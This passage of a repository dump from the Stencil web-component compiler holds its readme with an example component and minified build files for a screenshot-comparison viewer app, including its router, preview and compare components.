\"@ionic/prettier-config\",\n  \"volta\": {\n    \"node\": \"22.2.0\",\n    \"npm\": \"10.8.1\"\n  }\n}\n"
  },
  {
    "path": "readme.md",
    "content": "<p align=\"center\">\n  <a href=\"#\">\n    <img alt=\"stencil-logo\" src=\"https://github.com/stenciljs/core/blob/main/stencil-logo.png\" width=\"60\">\n  </a>\n</p>\n\n<h1 align=\"center\">\n  Stencil\n</h1>\n\n<p align=\"center\">\n  A compiler for generating <a href=\"https://www.webcomponents.org/introduction\" target=\"_blank\" rel=\"noopener noref\">Web Components</a> using technologies like TypeScript and JSX, built by the <a href=\"https://ionic.io/\">Ionic team</a>.\n</p>\n\n<p align=\"center\">\n  <a href=\"https://www.npmjs.com/package/@stencil/core\">\n    <img src=\"https://img.shields.io/npm/v/@stencil/core.svg\" alt=\"StencilJS is released under the MIT license.\" /></a>\n  <a href=\"https://github.com/stenciljs/core/blob/main/LICENSE.md\">\n    <img src=\"https://img.shields.io/badge/license-MIT-yellow.svg\" alt=\"StencilJS is released under the MIT license.\" />\n  </a>\n  <a href=\"https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md\">\n    <img src=\"https://img.shields.io/badge/PRs-welcome-brightgreen.svg\" alt=\"PRs welcome!\" />\n  </a>\n  <a href=\"https://twitter.com/stenciljs\">\n    <img src=\"https://img.shields.io/badge/follow-%40stenciljs-1DA1F2?logo=twitter\" alt=\"Follow @stenciljs\">\n  </a>\n  <a href=\"https://chat.stenciljs.com\">\n    <img src=\"https://img.shields.io/discord/520266681499779082?color=7289DA&label=%23stencil&logo=discord&logoColor=white\" alt=\"Official Ionic Discord\" />\n  </a>\n</p>\n\n<h2 align=\"center\">\n  <a href=\"https://stenciljs.com/docs/getting-started#starting-a-new-project\">Quick Start</a>\n  <span> · </span>\n  <a href=\"https://stenciljs.com/docs/introduction\">Documentation</a>\n  <span> · </span>\n  <a href=\"https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md\">Contribute</a>\n  <span> · </span>\n  <a href=\"https://ionicframework.com/blog/tag/stencil/\">Blog</a>\n  <br />\n  Community:\n  <a href=\"https://chat.stenciljs.com\">Discord</a>\n  <span> · </span>\n  <a href=\"https://forum.ionicframework.com/c/stencil/21/\">Forums</a>\n  <span> · </span>\n  <a href=\"https://twitter.com/stenciljs\">Twitter</a>\n</h2>\n\n### Getting Started\n\nStart a new project by following our quick [Getting Started guide](https://stenciljs.com/docs/getting-started).\nWe would love to hear from you!\nIf you have any feedback or run into issues using Stencil, please file an [issue](https://github.com/stenciljs/core/issues/new) on this repository.\n\n### Examples\nA Stencil component looks a lot like a class-based React component, with the addition of TypeScript decorators:\n```tsx\nimport { Component, Prop, h } from '@stencil/core';\n\n@Component({\n  tag: 'my-component',            // the name of the component's custom HTML tag\n  styleUrl: 'my-component.css',   // css styles to apply to the component\n  shadow: true,                   // this component uses the ShadowDOM\n})\nexport class MyComponent {\n  // The component accepts two arguments:\n  @Prop() first: string;\n  @Prop() last: string;\n\n   //The following HTML is rendered when our component is used\n  render() {\n    return (\n      <div>\n        Hello, my name is {this.first} {this.last}\n      </div>\n    );\n  }\n}\n```\n\nThe component above can be used like any other HTML element:\n\n```html\n<my-component first=\"Stencil\" last=\"JS\"></my-component>\n```\n\nSince Stencil generates web components, they work in any major framework or with no framework at all.\nIn many cases, Stencil can be used as a drop in replacement for traditional frontend framework, though using it as such is certainly not required.\n\n### Contributing\n\nThanks for your interest in contributing!\nPlease take a moment to read up on our guidelines for [contributing](https://github.com/stenciljs/core/blob/main/CONTRIBUTING.md). We've created comprehensive technical documentation for contributors that explains Stencil's internal architecture, including the compiler, runtime, build system, and other core components in the [/docs](/docs/) directory.\nPlease note that this project is released with a [Contributor Code of Conduct](https://github.com/stenciljs/core/blob/main/CODE_OF_CONDUCT.md). By participating in this project you agree to abide by its terms."
  },
  {
    "path": "screenshot/compare/build/app.css",
    "content": ":root{--font-family:-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;--font-color:rgb(32, 32, 32);--background-color:#f7f8fb;--breadcrumb-color:#8e9bb2;--header-box-shadow:0px 1px 4px rgba(0, 12, 32, 0.12), 0px 1px 0px rgba(0,12,32,0.02);--screenshot-box-shadow:0px 0px 4px rgba(0, 0, 0, 0.08), 0px 1px 3px rgba(0,0,0,0.12);--screenshot-border-radius:4px;--analysis-data-font-size:12px;--analysis-data-color:rgb(111, 111, 111)}*{box-sizing:border-box}body{padding:0;margin:0;font-family:var(--font-family);background:var(--background-color);color:var(--font-color)}compare-table{display:table;width:100%;margin-top:84px;margin-bottom:12px}compare-tbody{display:table-row-group}compare-tbody compare-cell{padding-top:12px}compare-row{display:table-row}compare-row[hidden]{display:none}compare-cell{display:table-cell;vertical-align:top;padding:3px 10px}body{overflow:hidden;position:absolute;width:100%;height:100vh}screenshot-compare{position:absolute;display:block;top:0px;width:100%;height:100vh}compare-header{display:block;position:absolute;z-index:1;display:block;top:0;left:-100px;padding-left:100px;width:calc(100% + 200px);height:84px}compare-thead{position:relative;top:64px;z-index:1}.scroll-x{position:absolute;top:0;width:100%;height:100vh;overflow-x:scroll;overflow-y:hidden}.scroll-y{position:absolute;top:0;height:100vh;overflow-x:hidden;overflow-y:scroll;-webkit-overflow-scrolling:touch;will-change:scroll-position}"
  },
  {
    "path": "screenshot/compare/build/app.esm.js",
    "content": "import{p as e,b as r}from\"./p-fbbae598.js\";e().then(e=>r([[\"p-5479268c\",[[0,\"screenshot-compare\",{appSrcUrl:[1,\"app-src-url\"],imagesUrl:[1,\"images-url\"],buildsUrl:[1,\"builds-url\"],comparesUrl:[1,\"compares-url\"],jsonpUrl:[1,\"jsonp-url\"],match:[16],a:[1040],b:[1040],filter:[32],diffs:[32]},[[0,\"filterChange\",\"filterChange\"],[0,\"diffNavChange\",\"diffNavChange\"],[0,\"compareLoaded\",\"compareLoaded\"]]]]],[\"p-2c298727\",[[0,\"screenshot-preview\",{appSrcUrl:[1,\"app-src-url\"],imagesUrl:[1,\"images-url\"],buildsUrl:[1,\"builds-url\"],match:[16]}]]],[\"p-f0b99977\",[[0,\"context-consumer\",{context:[16],renderer:[16],subscribe:[16],unsubscribe:[32]}]]],[\"p-6ba08604\",[[1,\"screenshot-lookup\"]]],[\"p-ec2f13e0\",[[0,\"stencil-async-content\",{documentLocation:[1,\"document-location\"],content:[32]}]]],[\"p-d1bf53f5\",[[4,\"stencil-route-link\",{url:[1],urlMatch:[1,\"url-match\"],activeClass:[1,\"active-class\"],exact:[4],strict:[4],custom:[1],anchorClass:[1,\"anchor-class\"],anchorRole:[1,\"anchor-role\"],anchorTitle:[1,\"anchor-title\"],anchorTabIndex:[1,\"anchor-tab-index\"],anchorId:[1,\"anchor-id\"],history:[16],location:[16],root:[1],ariaHaspopup:[1,\"aria-haspopup\"],ariaPosinset:[1,\"aria-posinset\"],ariaSetsize:[2,\"aria-setsize\"],ariaLabel:[1,\"aria-label\"],match:[32]}]]],[\"p-b4cc611c\",[[0,\"stencil-route-title\",{titleSuffix:[1,\"title-suffix\"],pageTitle:[1,\"page-title\"]}]]],[\"p-6bc63295\",[[0,\"stencil-router-prompt\",{when:[4],message:[1],history:[16],unblock:[32]}]]],[\"p-e8ca6d97\",[[0,\"stencil-router-redirect\",{history:[16],root:[1],url:[1]}]]],[\"p-573ec8a4\",[[1,\"compare-analysis\",{aId:[1,\"a-id\"],bId:[1,\"b-id\"],diff:[16],mismatchedPixels:[2,\"mismatched-pixels\"]}]]],[\"p-f4745c2f\",[[0,\"compare-row\",{aId:[1,\"a-id\"],bId:[1,\"b-id\"],imagesUrl:[1,\"images-url\"],jsonpUrl:[1,\"jsonp-url\"],diff:[16],show:[4],imageASrc:[32],imageBSrc:[32],imageAClass:[32],imageBClass:[32],canvasClass:[32]}],[1,\"compare-thead\",{a:[16],b:[16],diffs:[16]}]]],[\"p-227a1e18\",[[0,\"app-root\"],[0,\"stencil-route\",{group:[513],componentUpdated:[16],match:[1040],url:[1],component:[1],componentProps:[16],exact:[4],routeRender:[16],scrollTopOffset:[2,\"scroll-top-offset\"],routeViewsUpdated:[16],location:[16],history:[16],historyType:[1,\"history-type\"]}],[4,\"stencil-route-switch\",{group:[513],scrollTopOffset:[2,\"scroll-top-offset\"],location:[16],routeViewsUpdated:[16]}],[4,\"stencil-router\",{root:[1],historyType:[1,\"history-type\"],titleSuffix:[1,\"title-suffix\"],scrollTopOffset:[2,\"scroll-top-offset\"],location:[32],history:[32]}]]],[\"p-7a3759fd\",[[1,\"compare-header\",{appSrcUrl:[1,\"app-src-url\"],diffs:[16],filter:[16]}],[1,\"compare-filter\",{diffs:[16],filter:[16]}]]]],e));"
  },
  {
    "path": "screenshot/compare/build/app.js",
    "content": "\n(function() {\n  function checkSupport() {\n  if (!document.body) {\n    setTimeout(checkSupport);\n    return;\n  }\n  function supportsDynamicImports() {\n    try {\n    new Function('import(\"\")');\n    return true;\n    } catch (e) {}\n    return false;\n  }\n  var supportsEsModules = !!('noModule' in document.createElement('script'));\n\n  if (!supportsEsModules) {\n    document.body.innerHTML = '\\n  \\n<style>\\nbody {\\n  display: block !important;\\n  font-family: sans-serif;\\n  padding: 20px;\\n  line-height:22px;\\n}\\nh1 {\\n  font-size: 18px;\\n}\\nh2 {\\n  font-size: 14px;\\n  margin-top: 40px;\\n}\\n</style>\\n\\n\\n  <h1>This Stencil app is disabled for this browser.</h1>\\n\\n  <h2>Developers:</h2>\\n  <ul>\\n  <li>ES5 builds are disabled <strong>during development</strong> to take advantage of 2x faster build times.</li>\\n  <li>Please see the example below or our <a href=\"https://stenciljs.com/docs/stencil-config\" target=\"_blank\" rel=\"noopener noreferrer\">config docs</a> if you would like to develop on a browser that does not fully support ES2017 and custom elements.</li>\\n  <li>Note that by default, ES5 builds and polyfills are enabled during production builds.</li>\\n  <li>When testing browsers it is recommended to always test in production mode, and ES5 builds should always be enabled during production builds.</li>\\n  <li><em>This is only an experiment and if it slows down app development then we will revert this and enable ES5 builds during dev.</em></li>\\n  </ul>\\n\\n\\n  <h2>Enabling ES5 builds during development:</h2>\\n  <pre>\\n  <code>npm run dev --es5</code>\\n  </pre>\\n  <p>For stencil-component-starter, use:</p>\\n  <pre>\\n  <code>npm start --es5</code>\\n  </pre>\\n\\n\\n  <h2>Enabling full production builds during development:</h2>\\n  <pre>\\n  <code>npm run dev --prod</code>\\n  </pre>\\n  <p>For stencil-component-starter, use:</p>\\n  <pre>\\n  <code>npm start --prod</code>\\n  </pre>\\n\\n  <h2>Current Browser\\'s Support:</h2>\\n  <ul>\\n  <li><a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import\">ES Module Imports</a>: <span id=\"es-modules-test\"></span></li>\\n  <li><a href=\"http://2ality.com/2017/01/import-operator.html\">ES Dynamic Imports</a>: <span id=\"es-dynamic-modules-test\"></span></li>\\n  <li><a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Window/customElements\">Custom Elements</a>: <span id=\"custom-elements-test\"></span></li>\\n  <li><a href=\"https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM\">Shadow DOM</a>: <span id=\"shadow-dom-test\"></span></li>\\n  <li><a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API\">fetch</a>: <span id=\"fetch-test\"></span></li>\\n  <li><a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_variables\">CSS Variables</a>: <span id=\"css-variables-test\"></span></li>\\n  </ul>\\n\\n  <h2>Current Browser:</h2>\\n  <pre>\\n  <code id=\"current-browser-output\"></code>\\n  </pre>\\n';\n\n    document.getElementById('current-browser-output').textContent = window.navigator.userAgent;\n    document.getElementById('es-modules-test').textContent = supportsEsModules;\n    document.getElementById('es-dynamic-modules-test').textContent = supportsDynamicImports();\n    document.getElementById('shadow-dom-test').textContent = !!(document.head.attachShadow);\n    document.getElementById('custom-elements-test').textContent = !!(window.customElements);\n    document.getElementById('css-variables-test').textContent = !!(window.CSS && window.CSS.supports && window.CSS.supports('color', 'var(--c)'));\n    document.getElementById('fetch-test').textContent = !!(window.fetch);\n  } else {\n    document.body.innerHTML = '\\n  \\n<style>\\nbody {\\n  display: block !important;\\n  font-family: sans-serif;\\n  padding: 20px;\\n  line-height:22px;\\n}\\nh1 {\\n  font-size: 18px;\\n}\\nh2 {\\n  font-size: 14px;\\n  margin-top: 40px;\\n}\\n</style>\\n\\n\\n  <h1>Update src/index.html</h1>\\n\\n  <p>Stencil recently changed how scripts are loaded in order to improve performance.</p>\\n\\n  <h2>BEFORE:</h2>\\n  <p>Previously, a single script was included that handled loading the correct JavaScript based on browser support.</p>\\n  <pre>\\n  <code>&lt;script src=&quot;/build/app.js&quot;&gt;&lt;/script&gt;\\n</code>\\n  </pre>\\n\\n  <h2 style=\"margin-top:0\">AFTER:</h2>\\n  <p>The index.html should now include two scripts using the modern ES Module script pattern.\\n  Note that only one file will actually be requested and loaded based on the browser\\'s native support for ES Modules.\\n  For more info, please see <a href=\"https://developers.google.com/web/fundamentals/primers/modules#browser\" target=\"_blank\" rel=\"noopener noreferrer\">Using JavaScript modules on the web</a>.\\n  </p>\\n  <pre>\\n  <code>&lt;script <span style=\"background:yellow\">type=\"module\"</span> src=\"/build/app<span style=\"background:yellow\">.esm</span>.js\"&gt;&lt;/script&gt;\\n  &lt;script <span style=\"background:yellow\">nomodule</span> src=&quot;/build/app.js&quot;&gt;&lt;/script&gt;</code>\\n  </pre>\\n';\n  }\n  }\n\n  setTimeout(checkSupport);\n})();"
  },
  {
    "path": "screenshot/compare/build/index.esm.js",
    "content": ""
  },
  {
    "path": "screenshot/compare/build/p-081b0641.js",
    "content": "function t(t,n,r){const s=o(t,n,r),c=localStorage.getItem(s);if(\"string\"==typeof c){const t=parseInt(c,10);if(!isNaN(t))return t}return null}function n(t,n,r,s){const c=o(t,n,r);localStorage.setItem(c,String(s))}function o(t,n,o){return`screenshot_mismatch_${t}_${n}_${o}`}export{t as g,n as s}"
  },
  {
    "path": "screenshot/compare/build/p-227a1e18.entry.js",
    "content": "import{r as t,h as s,g as e,c as o}from\"./p-fbbae598.js\";import{A as i}from\"./p-e2efe0df.js\";import{m as n,a as r,s as a,b as h,c,d as l,e as u,f as p,g as d,h as f,i as g,j as y,k as m,l as b,n as w,o as P,p as v}from\"./p-9b6a9315.js\";class O{constructor(s){t(this,s)}render(){return s(\"stencil-router\",{class:\"full-screen\"},s(\"stencil-route-switch\",null,s(\"stencil-route\",{url:\"/:buildIdA/:buildIdB\",exact:!0,component:\"screenshot-compare\",class:\"full-screen\"}),s(\"stencil-route\",{url:\"/:buildId\",component:\"screenshot-preview\",class:\"full-screen\"}),s(\"stencil-route\",{url:\"/\",component:\"screenshot-preview\",exact:!0,class:\"full-screen\"})))}}class j{constructor(s){t(this,s),this.group=null,this.match=null,this.componentProps={},this.exact=!1,this.scrollOnNextRender=!1,this.previousMatch=null}computeMatch(t){const s=null!=this.group||null!=this.el.parentElement&&\"stencil-route-switch\"===this.el.parentElement.tagName.toLowerCase();if(t&&!s)return this.previousMatch=this.match,this.match=n(t.pathname,{path:this.url,exact:this.exact,strict:!0})}async loadCompleted(){let t={};this.history&&this.history.location.hash?t={scrollToId:this.history.location.hash.substr(1)}:this.scrollTopOffset&&(t={scrollTopOffset:this.scrollTopOffset}),\"function\"==typeof this.componentUpdated?this.componentUpdated(t):this.match&&!r(this.match,this.previousMatch)&&this.routeViewsUpdated&&this.routeViewsUpdated(t)}async componentDidUpdate(){await this.loadCompleted()}async componentDidLoad(){await this.loadCompleted()}render(){if(!this.match||!this.history)return null;const t=Object.assign({},this.componentProps,{history:this.history,match:this.match});return this.routeRender?this.routeRender(Object.assign({},t,{component:this.component})):this.component?s(this.component,Object.assign({},t)):void 0}get el(){return e(this)}static get watchers(){return{location:[\"computeMatch\"]}}}i.injectProps(j,[\"location\",\"history\",\"historyType\",\"routeViewsUpdated\"]),j.style=\"stencil-route.inactive{display:none}\";const L=t=>\"STENCIL-ROUTE\"===t.tagName;class S{constructor(s){t(this,s),this.group=((1e17*Math.random()).toString().match(/.{4}/g)||[]).join(\"-\"),this.subscribers=[],this.queue=o(this,\"queue\")}componentWillLoad(){null!=this.location&&this.regenerateSubscribers(this.location)}async regenerateSubscribers(t){if(null==t)return;let s=-1;if(this.subscribers=Array.prototype.slice.call(this.el.children).filter(L).map((e,o)=>{const i=n(t.pathname,{path:e.url,exact:e.exact,strict:!0});return i&&-1===s&&(s=o),{el:e,match:i}}),-1===s)return;if(this.activeIndex===s)return void(this.subscribers[s].el.match=this.subscribers[s].match);this.activeIndex=s;const e=this.subscribers[this.activeIndex];this.scrollTopOffset&&(e.el.scrollTopOffset=this.scrollTopOffset),e.el.group=this.group,e.el.match=e.match,e.el.componentUpdated=t=>{this.queue.write(()=>{this.subscribers.forEach((t,s)=>{if(t.el.componentUpdated=void 0,s===this.activeIndex)return t.el.style.display=\"\";this.scrollTopOffset&&(t.el.scrollTopOffset=this.scrollTopOffset),t.el.group=this.group,t.el.match=null,t.el.style.display=\"none\"})}),this.routeViewsUpdated&&this.routeViewsUpdated(Object.assign({scrollTopOffset:this.scrollTopOffset},t))}}render(){return s(\"slot\",null)}get el(){return e(this)}static get watchers(){return{location:[\"regenerateSubscribers\"]}}}i.injectProps(S,[\"location\",\"routeViewsUpdated\"]);const U=(t,...s)=>{t||console.warn(...s)},k=()=>{let t,s=[];return{setPrompt:s=>(U(null==t,\"A history supports only one prompt at a time\"),t=s,()=>{t===s&&(t=null)}),confirmTransitionTo:(s,e,o,i)=>{if(null!=t){const n=\"function\"==typeof t?t(s,e):t;\"string\"==typeof n?\"function\"==typeof o?o(n,i):(U(!1,\"A history needs a getUserConfirmation function in order to use a prompt message\"),i(!0)):i(!1!==n)}else i(!0)},appendListener:t=>{let e=!0;const o=(...s)=>{e&&t(...s)};return s.push(o),()=>{e=!1,s=s.filter(t=>t!==o)}},notifyListeners:(...t)=>{s.forEach(s=>s(...t))}}},H=(t,s=\"scrollPositions\")=>{let e=new Map;const o=(s,o)=>{if(e.set(s,o),a(t,\"sessionStorage\")){const s=[];e.forEach((t,e)=>{s.push([e,t])}),t.sessionStorage.setItem(\"scrollPositions\",JSON.stringify(s))}};if(a(t,\"sessionStorage\")){const o=t.sessionStorage.getItem(s);e=o?new Map(JSON.parse(o)):e}return\"scrollRestoration\"in t.history&&(history.scrollRestoration=\"manual\"),{set:o,get:t=>e.get(t),has:t=>e.has(t),capture:s=>{o(s,[t.scrollX,t.scrollY])}}},T={hashbang:{encodePath:t=>\"!\"===t.charAt(0)?t:\"!/\"+P(t),decodePath:t=>\"!\"===t.charAt(0)?t.substr(1):t},noslash:{encodePath:P,decodePath:u},slash:{encodePath:u,decodePath:u}},E=(t,s)=>{const e=0==t.pathname.indexOf(s)?\"/\"+t.pathname.slice(s.length):t.pathname;return Object.assign({},t,{pathname:e})},A={browser:(t,s={})=>{let e=!1;const o=t.history,i=t.location,n=t.navigator,r=h(t),a=!c(n),w=H(t),P=null!=s.forceRefresh&&s.forceRefresh,v=null!=s.getUserConfirmation?s.getUserConfirmation:m,O=null!=s.keyLength?s.keyLength:6,j=s.basename?l(u(s.basename)):\"\",L=()=>{try{return t.history.state||{}}catch(t){return{}}},S=t=>{t=t||{};const{key:s,state:e}=t,{pathname:o,search:n,hash:r}=i;let a=o+n+r;return U(!j||f(a,j),'You are attempting to use a basename on a page whose URL path does not begin with the basename. Expected path \"'+a+'\" to begin with \"'+j+'\".'),j&&(a=g(a,j)),p(a,e,s||d(O))},T=k(),E=t=>{w.capture(q.location.key),Object.assign(q,t),q.location.scrollPosition=w.get(q.location.key),q.length=o.length,T.notifyListeners(q.location,q.action)},A=t=>{b(n,t)||C(S(t.state))},x=()=>{C(S(L()))},C=t=>{if(e)e=!1,E();else{const s=\"POP\";T.confirmTransitionTo(t,s,v,e=>{e?E({action:s,location:t}):R(t)})}},R=t=>{let s=B.indexOf(q.location.key),o=B.indexOf(t.key);-1===s&&(s=0),-1===o&&(o=0);const i=s-o;i&&(e=!0,N(i))},M=S(L());let B=[M.key],I=0,_=!1;const Y=t=>j+y(t),N=t=>{o.go(t)},V=s=>{I+=s,1===I?(t.addEventListener(\"popstate\",A),a&&t.addEventListener(\"hashchange\",x)):0===I&&(t.removeEventListener(\"popstate\",A),a&&t.removeEventListener(\"hashchange\",x))},q={length:o.length,action:\"POP\",location:M,createHref:Y,push:(t,s)=>{U(!(\"object\"==typeof t&&void 0!==t.state&&void 0!==s),\"You should avoid providing a 2nd state argument to push when the 1st argument is a location-like object that already has state; it is ignored\");const e=p(t,s,d(O),q.location);T.confirmTransitionTo(e,\"PUSH\",v,t=>{if(!t)return;const s=Y(e),{key:n,state:a}=e;if(r)if(o.pushState({key:n,state:a},\"\",s),P)i.href=s;else{const t=B.indexOf(q.location.key),s=B.slice(0,-1===t?0:t+1);s.push(e.key),B=s,E({action:\"PUSH\",location:e})}else U(void 0===a,\"Browser history cannot push state in browsers that do not support HTML5 history\"),i.href=s})},replace:(t,s)=>{U(!(\"object\"==typeof t&&void 0!==t.state&&void 0!==s),\"You should avoid providing a 2nd state argument to replace when the 1st argument is a location-like object that already has state; it is ignored\");const e=p(t,s,d(O),q.location);T.confirmTransitionTo(e,\"REPLACE\",v,t=>{if(!t)return;const s=Y(e),{key:n,state:a}=e;if(r)if(o.replaceState({key:n,state:a},\"\",s),P)i.replace(s);else{const t=B.indexOf(q.location.key);-1!==t&&(B[t]=e.key),E({action:\"REPLACE\",location:e})}else U(void 0===a,\"Browser history cannot replace state in browsers that do not support HTML5 history\"),i.replace(s)})},go:N,goBack:()=>N(-1),goForward:()=>N(1),block:(t=\"\")=>{const s=T.setPrompt(t);return _||(V(1),_=!0),()=>(_&&(_=!1,V(-1)),s())},listen:t=>{const s=T.appendListener(t);return V(1),()=>{V(-1),s()}},win:t};return q},hash:(t,s={})=>{let e=!1,o=null,i=0,n=!1;const r=t.location,a=t.history,h=w(t.navigator),c=null!=s.keyLength?s.keyLength:6,{getUserConfirmation:b=m,hashType:P=\"slash\"}=s,O=s.basename?l(u(s.basename)):\"\",{encodePath:j,decodePath:L}=T[P],S=()=>{const t=r.href,s=t.indexOf(\"#\");return-1===s?\"\":t.substring(s+1)},H=t=>{const s=r.href.indexOf(\"#\");r.replace(r.href.slice(0,s>=0?s:0)+\"#\"+t)},E=()=>{let t=L(S());return U(!O||f(t,O),'You are attempting to use a basename on a page whose URL path does not begin with the basename. Expected path \"'+t+'\" to begin with \"'+O+'\".'),O&&(t=g(t,O)),p(t,void 0,d(c))},A=k(),x=t=>{Object.assign(q,t),q.length=a.length,A.notifyListeners(q.location,q.action)},C=()=>{const t=S(),s=j(t);if(t!==s)H(s);else{const t=E(),s=q.location;if(!e&&v(s,t))return;if(o===y(t))return;o=null,R(t)}},R=t=>{if(e)e=!1,x();else{const s=\"POP\";A.confirmTransitionTo(t,s,b,e=>{e?x({action:s,location:t}):M(t)})}},M=t=>{let s=Y.lastIndexOf(y(q.location)),o=Y.lastIndexOf(y(t));-1===s&&(s=0),-1===o&&(o=0);const i=s-o;i&&(e=!0,N(i))},B=S(),I=j(B);B!==I&&H(I);const _=E();let Y=[y(_)];const N=t=>{U(h,\"Hash history go(n) causes a full page reload in this browser\"),a.go(t)},V=(t,s)=>{i+=s,1===i?t.addEventListener(\"hashchange\",C):0===i&&t.removeEventListener(\"hashchange\",C)},q={length:a.length,action:\"POP\",location:_,createHref:t=>\"#\"+j(O+y(t)),push:(t,s)=>{U(void 0===s,\"Hash history cannot push state; it is ignored\");const e=p(t,void 0,d(c),q.location);A.confirmTransitionTo(e,\"PUSH\",b,t=>{if(!t)return;const s=y(e),i=j(O+s);if(S()!==i){o=s,(t=>{r.hash=t})(i);const t=Y.lastIndexOf(y(q.location)),n=Y.slice(0,-1===t?0:t+1);n.push(s),Y=n,x({action:\"PUSH\",location:e})}else U(!1,\"Hash history cannot PUSH the same path; a new entry will not be added to the history stack\"),x()})},replace:(t,s)=>{U(void 0===s,\"Hash history cannot replace state; it is ignored\");const e=p(t,void 0,d(c),q.location);A.confirmTransitionTo(e,\"REPLACE\",b,t=>{if(!t)return;const s=y(e),i=j(O+s);S()!==i&&(o=s,H(i));const n=Y.indexOf(y(q.location));-1!==n&&(Y[n]=s),x({action:\"REPLACE\",location:e})})},go:N,goBack:()=>N(-1),goForward:()=>N(1),block:(s=\"\")=>{const e=A.setPrompt(s);return n||(V(t,1),n=!0),()=>(n&&(n=!1,V(t,-1)),e())},listen:s=>{const e=A.appendListener(s);return V(t,1),()=>{V(t,-1),e()}},win:t};return q}};class x{constructor(s){t(this,s),this.root=\"/\",this.historyType=\"browser\",this.titleSuffix=\"\",this.routeViewsUpdated=(t={})=>{if(this.history&&t.scrollToId&&\"browser\"===this.historyType){const s=this.history.win.document.getElementById(t.scrollToId);if(s)return s.scrollIntoView()}this.scrollTo(t.scrollTopOffset||this.scrollTopOffset)},this.isServer=o(this,\"isServer\"),this.queue=o(this,\"queue\")}componentWillLoad(){this.history=A[this.historyType](this.el.ownerDocument.defaultView),this.history.listen(t=>{t=E(t,this.root),this.location=t}),this.location=E(this.history.location,this.root)}scrollTo(t){const s=this.history;if(null!=t&&!this.isServer&&s)return\"POP\"===s.action&&Array.isArray(s.location.scrollPosition)?this.queue.write(()=>{s&&s.location&&Array.isArray(s.location.scrollPosition)&&s.win.scrollTo(s.location.scrollPosition[0],s.location.scrollPosition[1])}):this.queue.write(()=>{s.win.scrollTo(0,t)})}render(){if(this.location&&this.history)return s(i.Provider,{state:{historyType:this.historyType,location:this.location,titleSuffix:this.titleSuffix,root:this.root,history:this.history,routeViewsUpdated:this.routeViewsUpdated}},s(\"slot\",null))}get el(){return e(this)}}export{O as app_root,j as stencil_route,S as stencil_route_switch,x as stencil_router}"
  },
  {
    "path": "screenshot/compare/build/p-2c298727.entry.js",
    "content": "import{r as e,h as t}from\"./p-fbbae598.js\";class s{constructor(t){e(this,t),this.appSrcUrl=\"\",this.imagesUrl=\"/data/images/\",this.buildsUrl=\"/data/builds/\"}async componentWillLoad(){let e=\"master\";this.match&&this.match.params.buildId&&(e=this.match.params.buildId.substr(0,7));let t=`${this.buildsUrl}${e}.json`;\"master\"===e&&(t+=\"?ts=\"+Date.now());const s=await fetch(t);s.ok&&(this.build=await s.json(),document.title=`${this.build.id} Preview: ${this.build.message}`)}render(){const e=[];return this.build&&this.build.screenshots.forEach(t=>{const s=t.testPath.split(\"/\");s.pop();const i=`/data/tests/${this.build.id}/${s.join(\"/\")}/`;if(!e.some(e=>e.url===i)){const s={desc:t.desc.split(\",\")[0],url:i};e.push(s)}}),e.sort((e,t)=>e.desc.toLowerCase()<t.desc.toLowerCase()?-1:e.desc.toLowerCase()>t.desc.toLowerCase()?1:0),[t(\"compare-header\",{appSrcUrl:this.appSrcUrl}),t(\"section\",{class:\"scroll-y\"},t(\"section\",{class:\"content\"},this.build?t(\"h1\",null,t(\"a\",{href:this.build.url},this.build.message)):null,e.map(e=>t(\"div\",null,t(\"a\",{href:e.url},e.desc)))))]}}s.style=\"screenshot-preview{display:block}screenshot-preview .scroll-y{width:100%}screenshot-preview h1{color:var(--analysis-data-color);font-size:16px;margin:0}screenshot-preview .content{padding:80px 20px 140px 20px}screenshot-preview a{display:block;padding:8px;color:var(--analysis-data-color);text-decoration:none}screenshot-preview a:hover{text-decoration:underline}screenshot-preview compare-header{left:0;padding:0;width:100%;width:100%;height:auto;padding-top:env(safe-area-inset-top)}screenshot-preview compare-header compare-filter{display:none}@media (max-width: 480px){screenshot-preview a{padding:12px;font-size:18px}screenshot-preview a:hover{text-decoration:none}}\";export{s as screenshot_preview}"
  },
  {
    "path": "screenshot/compare/build/p-5479268c.entry.js",
    "content": "import{r as t,h as s}from\"./p-fbbae598.js\";import{g as i}from\"./p-081b0641.js\";function e(t,s){const i=Object.assign({},t,s),e=Object.keys(i),o=[];return e.map(t=>{const s=i[t];!0===s?o.push(t):null!=s&&\"\"!==s&&o.push(t+\"-\"+s)}),window.location.hash=o.sort().join(\";\"),i}class o{constructor(s){t(this,s),this.appSrcUrl=\"\",this.imagesUrl=\"/data/images/\",this.buildsUrl=\"/data/builds/\",this.comparesUrl=\"/data/compares/\",this.jsonpUrl=null,this.diffs=[]}async componentWillLoad(){this.match&&this.match.params.buildIdA&&this.match.params.buildIdB&&await this.loadBuilds(this.match.params.buildIdA,this.match.params.buildIdB),this.diffs=await function(t,s,e){const o=[];return s&&e?(e.screenshots.forEach(s=>{o.push({id:s.id,desc:s.desc,testPath:s.testPath,imageA:null,imageUrlA:null,imageB:s.image,imageUrlB:`${t}${s.image}`,identical:!1,comparable:!1,mismatchedPixels:null,width:s.width,height:s.height,deviceScaleFactor:s.deviceScaleFactor,device:s.device||s.userAgent,show:!1,hasIntersected:!1,threshold:\"number\"==typeof s.threshold?s.threshold:.05})}),s.screenshots.forEach(s=>{const i=o.find(t=>t.id===s.id);i&&(i.imageA=s.image,i.imageUrlA=`${t}${s.image}`)}),o.forEach(t=>{if(t.comparable=null!=t.imageA&&null!=t.imageB,t.identical=t.comparable&&t.imageA===t.imageB,t.identical)t.mismatchedPixels=0;else{const s=i(t.imageA,t.imageB,t.threshold);\"number\"==typeof s&&(t.mismatchedPixels=s,0===t.mismatchedPixels&&(t.identical=!0))}}),o):o}(this.imagesUrl,this.a,this.b),this.filter=function(){const t={},s=location.hash.replace(\"#\",\"\");return\"\"!==s&&s.split(\";\").forEach(s=>{const i=s.split(\"-\");t[i[0]]=!(i.length>1)||i[1]}),t}(),this.updateDiffs()}componentDidLoad(){if(\"IntersectionObserver\"in window){const 